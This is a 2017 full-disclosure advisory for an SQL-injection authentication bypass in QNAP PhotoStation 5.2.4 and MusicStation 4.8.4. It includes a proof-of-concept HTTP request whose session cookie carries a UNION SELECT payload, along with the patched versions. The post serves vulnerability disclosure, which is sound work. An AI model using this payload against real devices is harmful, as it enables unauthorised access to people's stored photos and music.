full-disclosure - [FD] QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass

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Message-ID: <CACoXDXiA-Lw87v2za1qzxx6m0o4D5QGE9g1AoOWPgxrGM6RUXQ@mail.gmail.com>
Date: Wed, 10 May 2017 16:53:36 +0200
From: Kacper Szurek <kacperszurek@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication
	Bypass

# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass
# Date: 10.05.2017
# Software Link: https://www.qnap.com
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: web

1. Description

`$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement.

https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html

2. Proof of Concept

GET /photo/api/dmc.php HTTP/1.1
Host: qnap.host:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT
9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999
-- a
Connection: close

3. Fix

Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)

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